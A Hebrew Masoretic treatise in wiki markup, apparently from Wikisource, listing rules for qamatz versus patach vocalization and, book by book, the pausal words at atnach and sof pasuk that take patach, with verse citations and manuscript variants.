ועוד: אם תעשה את התיבה הזאת לשון נקבה, כגון {{צ|לְבַדֵּךְ}}, הדגש עומד במקומו; ואלו התיבות הנזכרות למעלה, אם תעשה אותן לשון נקבה, כגון {{צ|יָדֵךְ}}, {{צ|לְבַבֵךְ}}, {{צ|בְּקָרֵךְ}}, אין שם עלילת ח' דברים המבטלין בהן את הקמץ. וכן הילוכן בכל המקרא. 

ובכל מקום שתמצא ח&quot;ת או עי&quot;ן בתיבה ואחריה ה&quot;א בסוף התיבה, אין אותה ח&quot;ת ועי&quot;ן מבטלת את הקמץ אשר לפניה, כגון {{צ|אַרְבָּעָה}}, {{צ|שְׁמָעָה… סְלָחָה}} {{ק|([[דניאל ט יט]])}} וכל דומיהן. 

תנאי {{צ|כל}}, {{צ|וְכל}}, [כי&quot;מ: {{צ|בְּכל}}, {{צ|מִכּל}}, {{צ|לְכל}}, {{צ|הַכּל}}, {{צ|הֲכל}}, {{צ|כְּכל}},] את שהוא בא בטעם או במשרת, הוא ננקד {{צ|כֹּל}} חולם, ואת שהוא בא במקף עם התיבה שלאחריו, הוא ננקד {{צ|כָּל}} בקמץ, [כי&quot;מ: כגון {{צ|כָּל בְּהֵמָה}} {{ק|([[ויקרא כז יא]])}}, {{צ|וְכָל זֶה אֵינֶנּוּ}} {{ק|([[אסתר ה יג]])}}, {{צ|בְּכָל הַדֶּרֶךְ}} {{ק|([[דברים א לא]])}}, {{צ|מִכָּל הָאֹכֶל}} {{ק|([[ויקרא יא לד]])}}, {{צ|לְכָל בְּנֵי אַהֲרֹן}} {{ק|([[ויקרא ז י]])}}, {{צ|הֲכֹל הַיּוֹם}} {{ק|([[ישעיהו כח כד]])}}, {{צ|כְּכָל אֲשֶׁר}} {{ק|([[אסתר ג יב]])}} וכל דומ'. והבא בטעם או במשרת הוא ננקד מלעיל במלוא פום, כגון {{צ|וּבְחֹסֶר כֹּ֑ל}} {{ק|([[דברים כח מח]])}}, {{צ|וְכֹ֣ל אֲשֶׁר (זכל) [יִפֹּל]}} {{ק|([[ויקרא יא לב]])}}, כולהון ננקדין במלא פום]. בר מן ב' שאף על פי שהן עומדין במשרת הן ננקדין בקמץ, והם: {{צ|כָּ֥ל אֲחֵי רָשׁ שְׂנֵאֻהוּ}} {{ק|([[משלי יט ז]])}}, {{צ|כָּ֥ל עַצְמוֹתַי תֹּאמַרְנָה}} {{ק|([[תהלים לה י]])}}, ואין זולתם במקרא. 

וכל {{צ|אַל}}, [כי&quot;מ: {{צ|וְאַל}}] הוא פתח. 

וכל יו&quot;ד וי&quot;ו בסוף התיבה [כי&quot;פ: האות אשר למעלה מהם ננקדת] [כי&quot;מ: ננקד כולו] בקמץ, כגון {{צ|אֵלָיו}}, {{צ|בָּנָיו}}, [כי&quot;פ: {{צ|שִׁנָּיו}}, {{צ|עֵינָיו}}, {{צ|יָמָיו}},] [כי&quot;מ: {{צ|גַּלָּיו}}, {{צ|דָּמָיו}}, {{צ|הָרָיו}}, {{צ|וּבָנָיו}}, זָרָיו, {{צ|חַיָּיו}}, טַפָּיו, {{צ|יָמָיו}}, {{צ|כַּפָּיו}}, {{צ|לְפָנָיו}}, {{צ|מַדָּיו}}, {{צ|נִינָיו}}, {{צ|שָׂרָיו}}, {{צ|עֵינָיו}}, {{צ|פָּנָיו}}, {{צ|צָרָיו}}, {{צ|קַרְנָיו}}, {{צ|רַבָּיו}}, {{צ|[תַּ]חְתָּיו}} וכל דומיהן. ויש מן הנוקדים {{צ|עָנָיו}}, {{צ|בָּנָיו}}, שמטילין נקודה אחת בתוך הוי&quot;ו שלסוף {{צ|עָנָיו}}; ולא יתכן להיות, כי לא יכול להפריד בין {{צ|עֵשָׂו}} ל{{צ|עָשׂוּ}}, וסוף התיבה ננקדת כמין אוּ, על כן ראוי להטיל שם ב' נקודות להציב דבר על מתכונתו.] 

וכל {{צ|הִנָּךְ}}, {{צ|עָנָךְ}}, {{צ|עַמָּךְ}}, {{צ|עִמָּךְ}}, [כי&quot;מ: {{צ|אֲנָךְ}}] וכל דומיהן, קמצין. 

וכל ברוי דיוסף, כגון {{צ|וַיִּצְבֹּר יוֹסֵף בָּר}} {{ק|([[בראשית מא מט]])}}, קמצין; [כי&quot;מ: ברויי דשאר קרייא, כגון {{צ|נַשְּׁקוּ בַר}} {{ק|([[תהלים ב יב]])}}, {{צ|בַּר בִּטְנִי}} {{ק|([[משלי לא ב]])}}, {{צ|וּבַר הָיִיתִי בְעֵינֶיךָ}} {{ק|([[איוב יא ד]])}}, פתחין]. וכל פרוי דבלק – {{צ|פָּר וָאַיִל בַּמִּזְבֵּחַ}} {{ק|([[במדבר כג ב]] ועוד 3)}} – [כי&quot;מ: קמצין; שאר פרויי דקרא פתחין, כגון {{צ|פַּר בֶּן בָּקָר}} {{ק|([[ויקרא ד ג]] ועוד רבים)}}]. קרויי דבלעם, כגון {{צ|וַיִּקָּר אֱלֹהִים אֶל בִּלְעָם}} {{ק|([[במדבר כג ד]])}}, [כי&quot;מ: קמצין; שאר קרויי דקרא פתחין, כגון {{צ|וְשָׂשֹׂן וִיקַר}} {{ק|([[אסתר ח טז]] עי&quot;ש)}}]. וכל בזוי דמשלי, כגון {{צ|בָּז לְרֵעֵהוּ חֲסַר לֵב}} {{ק|([[משלי יא יב]])}}, [כי&quot;מ: קמצין; שאר בזויי דקרא פתחין, כגון {{צ|וְלָבֹז בַּז}} {{ק|([[ישעיהו י ו]])}}]. כברוי דקהלת – [כי&quot;פ: {{צ|מַה שֶּׁהָיָה כְּבָר (הוּא)}} {{ק|([[קהלת ג טו]])}}] [כי&quot;מ: כגון {{צ|כִּי כְבָר רָצָה}} {{ק|([[קהלת ט ז]])}} – קמצין, שאר קריא פתחין, כגון {{צ|עַל נְהַר כְּבָר}} {{ק|([[יחזקאל א א]] ועוד 3)}}]. קלוי דדניאל, כגון {{צ|קָל קַרְנָא מַשְׁרוֹקִיתָא}} {{ק|([[דניאל ג ה]] ועוד 3)}}, {{צ|קָל מִן שְׁמַיָּא}} {{ק|([[דניאל ד כח]])}}, כולהון קמצין; [כי&quot;מ: שאר קריא פתחין, כגון {{צ|קַל בְּרַגְלָיו}} {{ק|([[ש&quot;ב ב יח]])}}]. 

וכל {{צ|אַיִן}} פתחין, בר מן חד זקף קמץ, וסימ': {{צ|וּמוֹתַר הָאָדָם מִן הַבְּהֵמָה אָ֔יִן}} {{ק|([[קהלת ג יט]])}}. וכל [כי&quot;פ: {{צ|עַיִן}},] {{צ|יַיִן}}, {{צ|מַיִם}}, פתח, בר מן אתנחתא וסוף פסוק קמץ. וכן {{צ|שָׁמַיִם}}, {{צ|מִיֹּמַיִם}} {{ק|([[הושע ו ב]])}}, {{צ|פַּעֲמַיִם}}, פתחין, בר מן אתנחתא וסוף פסוק.

ובכל מקום אתנחתא וסוף פסוק קמץ, בר ממקצת מקומות בכל ספר וספר שהן פתחין, והם במספר בכל ספר וספר. 

אתנחתיות דבראשית י&quot;ב פתחין, וסימ': {{צ|וַתִּקַּח מִפִּרְיוֹ וַתֹּאכַ֑ל}} {{ק|([[בראשית ג ו]])}}, {{צ|לוֹט הַפֶּ֑תְחָה}} {{ק|([[בראשית יט ו]])}}, {{צ|וְאַכַּד וְכַלְנֵ֑ה}} {{ק|([[בראשית י י]])}}, {{צ|אֶל הָגָר וַתַּ֑הַר}} {{ק|([[בראשית טז ד]])}}, {{צ|וַיִּגְדַּל הַיֶּלֶד וַיִּגָּמַ֑ל}} {{ק|([[בראשית כא ח]])}}, {{צ|וַיִּקַּח אֶת הַמַּאֲכֶ֑לֶת}} {{ק|([[בראשית כב י]] ועוד 2)}}, {{צ|וַיָּקָם וַיֵּלַ֑ךְ וַיִּבֶז}} {{ק|([[בראשית כה לד]])}}, {{צ|הִנֵּה נָא זָקַ֑נְתִּי}} {{ק|([[בראשית כז ב]])}}, {{צ|וַיֵּצֵא יַעֲקֹב מִבְּאֵר שָׁ֑בַע}} {{ק|([[בראשית כח י]])}}, {{צ|וְאַחַר יָלְדָה בַּ֑ת}} {{ק|([[בראשית ל כא]])}}, {{צ|וַיָּבֹאוּ עַל הָעִיר בֶּ֑טַח}} {{ק|([[בראשית לד כה]])}}, {{צ|בַּבֹּקֶר יֹאכַל עַ֑ד}} {{ק|([[בראשית מט כז]])}}. 

סוף פסוק דבראשית פתחין [כי&quot;פ: י'] [כי&quot;מ: י&quot;ג], וסימן: [כי&quot;מ: {{צ|וּבֵין הַחֹשֶֽׁךְ}} {{ק|([[בראשית א ד]])}},] {{צ|וַתִּתֵּן גַּם לְאִישָׁהּ עִמָּהּ וַיֹּאכַֽל}} {{ק|([[בראשית ג ו]])}}, [כי&quot;מ: {{צ|לָהֶם לַחֹֽמֶר}} {{ק|([[בראשית יא ג]])}},] {{צ|וְגֶתֶר וָמַֽשׁ}} {{ק|([[בראשית י כג]])}}, {{צ|אָנֹכִי בֹּרַחַֽת}} {{ק|([[בראשית טז ח]])}}, {{צ|אֶת בְּרִיתִי הֵפַֽר}} {{ק|([[בראשית יז יד]])}}, {{צ|הָרָעָה וָמַֽתִּי}} {{ק|([[בראשית יט יט]])}}, {{צ|לְאַבְרָהָם מְצַחֵֽק}} {{ק|([[בראשית כא ט]])}}, {{צ|אֶת רִבְקָה וַיֵּלַֽךְ}} {{ק|([[בראשית כד סא]])}}, {{צ|וְגַעְתָּם וּקְנַֽז}} {{ק|([[בראשית לו יא]])}}, [כי&quot;מ: וכל {{צ|קְנַז}} דקריא פתחין,] {{צ|קָחֶם נָא אֵלַי וַאֲבָרֲכֶֽם}} {{ק|([[בראשית מח ט]] עי&quot;ש)}}, {{צ|בִּרְכֹת שָׁדַיִם וָרָֽחַם}} {{ק|([[בראשית מט כה]])}}, [כי&quot;מ: {{צ|לְפַרְעֹה לַחֹ֑מֶשׁ}} {{ק|([[בראשית מז כו]])}}]. 

אתנח' דאלה שמות פתחין ג', וסימ': {{צ|וַיֹּאמֶר מֹשֶׁה כֵּן דִּבַּ֑רְתָּ}} {{ק|([[שמות י כט]])}}, {{צ|וַיָּרֻם תּוֹלָעִים וַיִּבְאַ֑שׁ}} {{ק|([[שמות טז כ]])}}, {{צ|לֹא תִהְיֶה לוֹ כְּנֹשֶׁ֑ה}} {{ק|([[שמות כב כד]])}}. 

סוף פסוק' דאלה שמות פתחין [כי&quot;פ: ו'] [כי&quot;מ: ח'], וסימ': {{צ|יֹאכְלֵמוֹ כַּקַּֽשׁ}} {{ק|([[שמות טו ז]])}}, {{צ|לֹא תְשִׂימוּן עָלָיו נֶֽשֶׁךְ}} {{ק|([[שמות כב כד]])}}, [כי&quot;מ: לית נָשֶׁך בקר', {{צ|לָאֵפֹד וְלַחֹֽשֶׁן}} {{ק|([[שמות כה ז]])}},] {{צ|וְאֶת בִּגְדֵי בָנָיו לְכַהֵֽן}} {{ק|([[שמות לא י]])}}, {{צ|וַיָּקֻמוּ לְצַחֵֽק}} {{ק|([[שמות לב ו]])}}, {{צ|וְרִחַמְתִּי אֶת אֲשֶׁר אֲרַחֵֽם}} {{ק|([[שמות לג יט]])}}, [כי&quot;מ: לית נָדֶר בקר',] {{צ|אֲשֶׁר שִׁבַּֽרְתָּ}} {{ק|([[שמות לד א]])}}. 

אתנח' דויקרא פתחין [כי&quot;פ: ג'] [כי&quot;מ: ד'], וסימ': {{צ|מֻרְבֶּכֶת תְּבִיאֶ֑נָּה}} {{ק|([[ויקרא ו יד]])}}, {{צ|וְכָל מִנְחָה בְלוּלָה בַשֶּׁמֶן וַחֲרֵבָ֑ה}} {{ק|([[ויקרא ז י]])}}, {{צ|אֶת כַּסְפְּךָ לֹא תִתֵּן לוֹ בְּנֶ֑שֶׁךְ}} {{ק|([[ויקרא כה לז]])}}, [כי&quot;מ: {{צ|בֵּין הַקֹּדֶשׁ}} {{ק|([[ויקרא י י]])}}].

סוף פסוק' פתח' חד: {{צ|אוֹ מִן הַשְּׁתִי אוֹ מִן הָעֵֽרֶב}} {{ק|([[ויקרא יג נו]])}}. 

אתנח' דבמדבר סיני פתחין ד', וסימ': {{צ|וּבְנֻחֹה יֹאמַ֑ר}} {{ק|([[במדבר י לו]])}}, {{צ|נָשֵׁינוּ [וְ]טַפֵּנוּ יִהְיוּ לָבַ֑ז}} {{ק|([[במדבר יד ג]])}}, {{צ|וְאֶת מִצְוָתוֹ הֵפַ֑ר}} {{ק|([[במדבר טו לא]])}}, {{צ|וְעִנּוּ אַשּׁוּר וְעִנּוּ עֵ֑בֶר}} {{ק|([[במדבר כד כד]])}}, [כי&quot;מ: לית עָבֶר בקר'].

אתנח' דאלה הדברים פתחין ד', וסימ': {{צ|אֲשֶׁר שִׁבַּ֑רְתָּ}} {{ק|([[דברים י ב]])}}, {{צ|עַל לְבַבְכֶם וְעַל נַפְשְׁכֶ֑ם}} {{ק|([[דברים יא יח]])}}, {{צ|בְּאֹהֶל מוֹעֵד וַאֲצַוֶּ֑נּוּ}} {{ק|([[דברים לא יד]])}}, {{צ|עַל גּוֹזָלָיו יְרַחֵ֑ף}} {{ק|([[דברים לב יא]])}}. 

[כי&quot;מ: לית פתח בסו' פסו' דאלה הדברים.]

סליקו להו אתנח וסוף פסוק פתח דתורה.

אתנח' דיהושע פתחין ג', וסימן: {{צ|וּלְקַחְתֶּם מִן הַחֵ֑רֶם}} {{ק|([[יהושע ו יח]])}}, {{צ|וַיִּמְעֲלוּ בְנֵי יִשְׂרָאֵל מַעַל בַּחֵ֑רֶם}} {{ק|([[יהושע ז א]])}}, [כי&quot;מ: לית חָרֶם בקר',] {{צ|וַיִּתְּנוּ [אֶת] הַכְּנַעֲנִי לָמַ֑ס}} {{ק|([[יהושע יז יג]])}}.

לית פתח בסו' פסו' דיהושע. 

אתנח' דשופטים [כי&quot;פ: ב'] [כי&quot;מ: ג' פתח], וסימן: {{צ|יוֹשֵׁב צְפַ֑ת}} {{ק|([[שופטים א יז]])}}, [כי&quot;מ: [{{צ|וַיִּשְׁתַּ֑חוּ}} דגדעון {{ק|([[שופטים ז טו]] עי&quot;ש)}},] {{צ|וַתְּאַלְצֵ֑הוּ}} {{ק|([[שופטים טז טז]])}}.

[כי&quot;מ: סוף פסוק' דשופטים ב' פתחין, וסימ': {{צ|וַיִּהְיוּ לָמַֽס}} דזבולן {{ק|([[שופטים א ל]])}}, {{צ|וַיִּהְיוּ לָמַֽס}} דנפתלי {{ק|([[שופטים א לה]])}}.]

אתנח' דשמואל פתחין יו&quot;ד, וסימן: {{צ|בְּצֶלְצַ֑ח}} {{ק|([[ש&quot;א י ב]])}}, {{צ|רֵאשִׁית הַחֵ֑רֶם}} {{ק|([[ש&quot;א טו כא]])}}, {{צ|וְאָוֶן וּתְרָפִים הַפְצַ֑ר}} {{ק|([[ש&quot;א טו כג]])}}, {{צ|גָּלְיָת שְׁמוֹ מִגַּ֑ת}} {{ק|([[ש&quot;א יז ד]])}}, {{צ|מֵרְשָׁעִים יֵצֵא רֶ֑שַׁע}} {{ק|([[ש&quot;א כד יג]])}}, {{צ|וַיֹּאמֶר דָּוִד לַאֲבִיגַ֑ל}} {{ק|([[ש&quot;א כה לב]])}}, {{צ|(מן השלל) [מֵהַשָּׁלָל] אֲשֶׁר הִצַּ֑לְנוּ}} {{ק|([[ש&quot;א ל כב]])}}, {{צ|וַיַּכֵּהוּ שָׁם הָאֱלֹהִים עַל הַשַּׁ֑ל}} {{ק|([[ש&quot;ב ו ז]])}}, {{צ|וַיְצַו (את) [אֶל] בֵּיתוֹ וַיֵּחָנַ֑ק}} {{ק|([[ש&quot;ב יז כג]])}}, {{צ|וַיֵּט שָׁמַיִם וַיֵּרַ֑ד}} {{ק|([[ש&quot;ב כב י]])}}.

[כי&quot;מ: סוף פסו' דשמואל (י&quot;ד) [ד'] פתח, וסימ': {{צ|תֹאכַֽל}} {{ק|([[ש&quot;א א ז]])}}, {{צ|זִיף בַּחֹֽרְשָׁה}} {{ק|([[ש&quot;א כג טו]])}}, {{צ|וַתְּהִי לוֹ כְּבַֽת}} {{ק|([[ש&quot;ב יב ג]])}}, {{צ|וַיֵּאָנַֽשׁ}} {{ק|([[ש&quot;ב יב טו]])}}.]

אתנח' דמלכים פתחין ה', וסימ': {{צ|אַחֲרֵי תִבְנִי בֶן גִּינַ֑ת}} {{ק|([[מ&quot;א טז כא]])}}, {{צ|וַתֵּלֶךְ לָקַחַת וַיִּקְרָא אֵלֶיהָ וַיֹּאמַ֑ר}} {{ק|([[מ&quot;א יז יא]])}}, [כי&quot;מ: וכל {{צ|וַיֹאמַר}} פתחין,] {{צ|כִּי לֹא פָתַח וַיַּ֑ךְ}} {{ק|([[מ&quot;ב טו טז]])}}, {{צ|וַיְנַחֵ֑שׁוּ}} {{ק|([[מ&quot;ב יז יז]])}}, {{צ|עָשׂוּ אֶת נֵרְגַ֑ל}} {{ק|([[מ&quot;ב יז ל]])}}.

[כי&quot;מ: סוף פסוק דמלכים ד' פתח, וסימ': {{צ|מִלִּפְנִים וְלַחִיצֽוֹן}} {{ק|([[מ&quot;א ו כט]])}}, {{צ|עֲדָיָה מִבָּצְקַֽת}} {{ק|([[מ&quot;ב כב א]])}}, {{צ|מִגַּת הַחֵֽפֶר}} {{ק|([[מ&quot;ב יד כה]])}}, {{צ|וַיְהַלֵּךְ אַֽט}} {{ק|([[מ&quot;א כא כז]])}}.] 

אתנח' דישעיה פתחין [כי&quot;פ: י'] [כי&quot;מ: (י&quot;ב) [י&quot;א]], וסימ': {{צ|וְעֵינָיו הָשַׁ֑ע}} {{ק|([[ישעיהו ו י]])}}, {{צ|הַהֹלְכִים לְאַ֑ט}} {{ק|([[ישעיהו ח ו]])}}, {{צ|נְעָרִים תְּרַטַּ֑שְׁנָה}} {{ק|([[ישעיהו יג יח]])}}, {{צ|בִּטְחוּ בַייָ עֲדֵי עַ֑ד}} {{ק|([[ישעיהו כו ד]])}}, [כי&quot;מ: (עולמי) {{צ|עַד עוֹלְמֵי עַֽד}} {{ק|([[ישעיהו מה יז]])}}, וכל {{צ|עַד}} דיקר' פתחין,] {{צ|תֵּלְדוּ קַ֑שׁ}} {{ק|([[ישעיהו לג יא]])}}, {{צ|הֶחְפִּיר לְבָנוֹן קָמַ֑ל}} {{ק|([[ישעיהו לג ט]])}}, {{צ|וַהֲצִיקוֹתִי לַאֲרִיאֵ֑ל}} {{ק|([[ישעיהו כט ב]])}}, {{צ|וַעֲפַר רַגְלַיִךְ יְלַחֵ֑כוּ}} {{ק|([[ישעיהו מט כג]])}}, {{צ|יַעֲלֶה הֲדַ֑ס}} {{ק|([[ישעיהו נה יג]])}}, {{צ|כַּדֶּשֶׁא תִפְרַ֑חְנָה}} {{ק|([[ישעיהו סו יד]])}}.

[כי&quot;מ: סופא דפסו' דישעיהו י&quot;ח פתחין, וסימ': {{צ|תְּעַכַּֽסְנָה}} {{ק|([[ישעיהו ג טז]])}}, {{צ|וְהַשַּׂהֲרֹנִֽים}} {{ק|([[ישעיהו ג יח]])}}, {{צ|תִּשְׁפַּֽלְנָה}} {{ק|([[ישעיהו ה טו]])}}, {{צ|בַּעֲרִיפֶֽיהָ}} {{ק|([[ישעיהו ה ל]])}}, {{צ|בֶּן־טָֽבְאַֽל}} {{ק|([[ישעיהו ז ו]])}}, {{צ|חָ֥שׁ בַּֽז}} {{ק|([[ישעיהו ח א]], [[ישעיהו ח ג|שם פסוק ג]])}}, {{צ|תִּשָּׁכַֽבְנָה}} {{ק|([[ישעיהו יג טז]])}}, {{צ|הִשְׁבַּֽתִּי}} {{ק|([[ישעיהו טז י]], [[ישעיהו כא ב|שם כא ב]])}}, {{צ|(היה) כַּאֲרִיאֵֽל}} {{ק|([[ישעיהו כט ב]])}}, {{צ|יִצַּֽתּוּ}} {{ק|([[ישעיהו לג יב]])}}, {{צ|מַרְחַקִּֽים}} {{ק|([[ישעיהו לג יז]])}}, {{צ|בָּזְזוּ בַֽז}} {{ק|([[ישעיהו לג כג]])}}, וכל {{צ|בַּז}} שהוא לשון ביזה פתח, {{צ|תִּפָּתַֽחְנָה}} {{ק|([[ישעיהו לה ה]])}}, {{צ|(ויחלו) [יְיַחֵֽלוּ]}} {{ק|([[ישעיהו מב ד]])}}, {{צ|הָשַֽׁב}} {{ק|([[ישעיהו מב כב]])}}, {{צ|עוֹלְמֵי עַֽד}} {{ק|([[ישעיהו מה יז]])}}, {{צ|לַעֲיֵפָֽה}} {{ק|([[ישעיהו מו א]])}}, {{צ|(ויחל) [וָחֵֽל]}} {{ק|([[ישעיהו כו א]])}}.]

אתנח' דירמיה פתחין ג', וסימ': {{צ|וַאֲמַרְתֶּם נִצַּ֑לְנוּ}} {{ק|([[ירמיהו ז י]])}}, {{צ|מְשֻׁבָה נִצַּ֑חַת}} {{ק|([[ירמיהו ח ה]])}}, [כי&quot;מ: {{צ|וְאַרְקָא לָא עֲבַ֑דוּ}} {{ק|([[ירמיהו י יא]])}}.] 

לית פתחין בסו' פסו' דירמיהו. 

אתנח' דיחזקאל פתחין ז', וסימ': {{צ|וִידֵי עַם הָאָרֶץ תִּבָּהַ֑לְנָה}} {{ק|([[יחזקאל ז כז]])}}, {{צ|בֶן אָדָם הֵאָנַ֑ח}} {{ק|([[יחזקאל כא יא]])}}, {{צ|בַּחֶרֶב תֵּהָרַ֑גְנָה}} {{ק|([[יחזקאל כו ו]])}}, {{צ|לָבַ֑ז}} {{ק|([[יחזקאל לד כב]])}}, {{צ|היושבים לָבֶ֑טַח}}. [כי&quot;מ: לית בָטָח בקר' בר מן א': {{צ|בֹּשׁוּ כִּי בָטָח}} {{ק|([[איוב ו כ]])}}, וכל לשון עשייה לשעבר פתח, כגון {{צ|בָטַח לִבִּי וְנֶעֱזָרְתִּי}} {{ק|([[תהלים כח ז]])}},] {{צ|וְלָבֹז בַּ֑ז}} {{ק|([[יחזקאל לח יב]])}} (וחביריו).

[כי&quot;מ: סוף פסו' דיחזקאל (ז') [ח'] פתח, וסימ': {{צ|(גויותהן) [גְּוִיֹּתֵיהֶֽם]}} {{ק|([[יחזקאל א כג]])}}, {{צ|הַחַשְׁמַֽלָה}} {{ק|([[יחזקאל ח ב]])}}, {{צ|בַּשָּׁשַֽׁר}} {{ק|([[יחזקאל כג יד]])}}, {{צ|לְהָבַֽר}} {{ק|([[ירמיהו ד יא]])}}, {{צ|וְלָבַֽז}} {{ק|([[יחזקאל כג מו]])}}, {{צ|בְּיַד מְחַלְלֶֽיךָ}} {{ק|([[יחזקאל כח ט]])}}, {{צ|תֵלַֽכְנָה}} {{ק|([[יחזקאל ל יז]])}}, {{צ|לָבַֽז}} {{ק|([[יחזקאל לו ה]])}}.] 

אתנח' דתרי עשר פתחין ח', וסימ': {{צ|לֹא רֻחָמָ֑ה}} {{ק|([[הושע א ו]])}} וחביריו {{ק|([[הושע א ח|שם פסוק ח]], [[הושע ב כה|שם ב כה]])}}, {{צ|סֻכַּת דָּוִיד הַנֹּפֶ֑לֶת}} {{ק|([[עמוס ט יא]])}}, {{צ|אֲשֶׁר בִּסְפָרַ֑ד}} {{ק|([[עובדיה א כ]])}}, {{צ|עַל מוֹרֶשֶׁת גַּ֑ת}} {{ק|([[מיכה א יד]])}}, [כי&quot;מ: וכל {{צ|גַּת}} דיקר' פתח,] {{צ|וְשֹׁד בְּהֵמוֹת יְחִיתַ֑ן}} {{ק|([[חבקוק ב יז]])}}, {{צ|וְיָדָיו תְּבַצַּ֑עְנָה}} {{ק|([[זכריה ד ט]])}}, {{צ|וְהַנָּשִׁים תִּשָּׁכַ֑בְנָה}} {{ק|([[זכריה יד ב]])}}. 

[כי&quot;מ: סוף פסוק דתרי עשר י' פתחין, וסימ': {{צ|תְּנָאַֽפְנָה}} {{ק|([[הושע ד יג]])}}, {{צ|יְשַׁחֲרֻֽנְנִי}} {{ק|([[הושע ה טו]])}}, {{צ|יונה}}, {{צ|וַיֵּרָדַֽם}} {{ק|([[יונה א ה]])}}, {{צ|מִזַּעְפּֽוֹ}} {{ק|([[יונה א טו]])}}, {{צ|תִּתְמוֹגַֽגְנָה}} {{ק|([[עמוס ט יג]])}}, {{צ|גזל בעולה}}, {{צ|תֶּחֱרַֽשְׁנָה}} {{ק|([[מיכה ז טז]])}}, {{צ|(ו)לֹא יְאַחֵֽר}} {{ק|([[חבקוק ב ג]])}}, {{צ|לְמַעַן כַּחֵֽשׁ}} {{ק|([[זכריה יג ד]])}}.]

[כי&quot;מ: סליקו להו אתנחתין וסוף פסוק דפתחין בנביאים.]

[כי&quot;מ: בדברי הימים לית פתח באתנח' וסוף פסוק.] 

אתנח' דתילים מ&quot;א פתחין, וסימ': {{צ|אֲסַפְּרָה}} {{ק|([[תהלים ב ז]])}}, {{צ|יָדְעוּ}} {{ק|([[תהלים יד ד]])}}, {{צ|יָדְעוּ}} {{ק|([[תהלים נג ה]])}}, {{צ|וַיֵּט}} {{ק|([[תהלים יח י]])}}, {{צ|חַטֹּאות}} {{ק|([[תהלים כה ז]])}}, {{צ|שָׁפְטֵנִי}} {{ק|([[תהלים כו א]])}}, {{צ|שָׁאַלְתִּי}} {{ק|([[תהלים כז ד]])}}, {{צ|רַבַּת}} {{ק|([[תהלים קכט א]])}}, {{צ|רִיבָה}} {{ק|([[תהלים לה א]])}}, {{צ|וּבְצַלְעִי}} {{ק|([[תהלים לה טו]])}}, {{צ|יִשְׂמְחוּ}} {{ק|([[תהלים לה יט]])}}, {{צ|שָׁלוֹם}} {{ק|([[תהלים לה כ]])}}, {{צ|רָאִיתָה}} {{ק|([[תהלים לה כב]])}}, {{צ|עֶזְרָתִי}} {{ק|([[תהלים מ יח]])}}, {{צ|עֶזְרִי}} {{ק|([[תהלים ע ו]])}}, {{צ|(בשמך) [כְּשִׁמְךָ]}} {{ק|([[תהלים מח יא]])}}, {{צ|יְכַבְּדָנְנִי}} {{ק|([[תהלים נ כג]])}}, {{צ|הִרְכַּבְתָּ}} {{ק|([[תהלים סו יב]])}}, {{צ|רָעָשָׁה}} {{ק|([[תהלים סח ט]])}}, {{צ|תִּשְׁכְּבוּן}} {{ק|([[תהלים סח יד]])}}, {{צ|נִחַר}} {{ק|([[תהלים סט ד]])}}, {{צ|רַבּוּ}} {{ק|([[תהלים סט ה]])}}, {{צ|בַּצָּרָה}} {{ק|([[תהלים פא ח]])}}, {{צ|חֶרְפָּה}} {{ק|([[תהלים סט כא]])}}, {{צ|שִׁיתֵמוֹ}} {{ק|([[תהלים פג יד]])}}, {{צ|בַּחֲצֵרֶיךָ}} {{ק|([[תהלים פד יא]])}}, {{צ|שָׁמְרָה}} {{ק|([[תהלים פו ב]])}}, {{צ|וַאֲנִי}} {{ק|([[תהלים מ יח]])}}, {{צ|לְפָנִים}} {{ק|([[תהלים קב כו]])}}, {{צ|לִמְנוֹת}} {{ק|([[תהלים צ יב]])}}, {{צ|דְּעוּ}} {{ק|([[תהלים ק ג]])}}, {{צ|יָשֵׂם}} {{ק|([[תהלים קז לה]])}}, {{צ|בִּשְׂפָתַי}} {{ק|([[תהלים קיט יג]])}}, {{צ|מִכָּל}} {{ק|([[תהלים קיט צט]])}}, {{צ|הַצִּילָה}} {{ק|([[תהלים קכ ב]])}}, {{צ|נָשָׂאתִי}} {{ק|([[תהלים קכג א]])}}, {{צ|רַבַּת}} קדמא {{ק|([[תהלים קכט א]])}}, {{צ|גָבַהּ}} {{ק|([[תהלים קלא א]])}}, {{צ|תִּדְבַּק}} {{ק|([[תהלים קלז ו]])}}, {{צ|שְׁמַע}} {{ק|([[תהלים קמג א]])}}, {{צ|הַלְלוּיָהּ}} קדמא {{ק|([[תהלים קמח א]])}}.

[כי&quot;מ: לית פתח בסו' פסוק דתילים.]

אתנח' דאיוב [כי&quot;מ: כ'] פתחין [כי&quot;פ: י&quot;ג], וסימן: {{צ|הַיּוֹם}} {{ק|([[איוב ג ד]])}}, {{צ|יֶחְשְׁכוּ}} {{ק|([[איוב ג ט]])}}, {{צ|מִבֹּקֶר}} {{ק|([[איוב ד כ]])}}, {{צ|יִרְחֲקוּ}} {{ק|([[איוב ה ד]])}}, {{צ|כָּלָה}} {{ק|([[איוב ז ט]])}}, {{צ|אַחַת}} {{ק|([[איוב ט כב]])}}, {{צ|פְּנוּ}} {{ק|([[איוב כא ה]])}}, [כי&quot;מ: {{צ|בַּדֵּי}} {{ק|([[איוב יז טז]])}}, {{צ|(על) פֶרֶץ [עַל] פְּנֵי פֶ֑רֶץ}} {{ק|([[איוב טז יד]] עי&quot;ש)}}], {{צ|יִתְּצֵנִי סָבִיב}} {{ק|([[איוב יט י]])}}, {{צ|יִשָּׂאֵהוּ}} {{ק|([[איוב כז כא]])}}, {{צ|כִּי אָמַר}} {{ק|([[איוב לד ה]])}}, {{צ|אַחַת}} {{ק|([[איוב ט כב]])}}, {{צ|אֶמְאַס}} {{ק|([[איוב מב ו]])}}, [כי&quot;מ: {{צ|מִנְּעוּרַי}} {{ק|([[איוב לא יח]])}}, {{צ|פַחִים}} {{ק|([[איוב כב י]])}}, {{צ|הָיִיתִי לַעִוֵּר}} {{ק|([[איוב כט טו]])}}, {{צ|(הורוני) [הֹרָנִי] לַחֹמֶר}} {{ק|([[איוב ל יט]])}}, {{צ|מִשְׁפָּט יַחֲבוֹשׁ}} {{ק|([[איוב לד יז]])}}, {{צ|הִקְדִּימַנִי וַאֲשַׁלֵּם}} {{ק|([[איוב מא ג]])}}].

[כי&quot;מ: לית פתחין בסו' פסוק' דאיוב.]

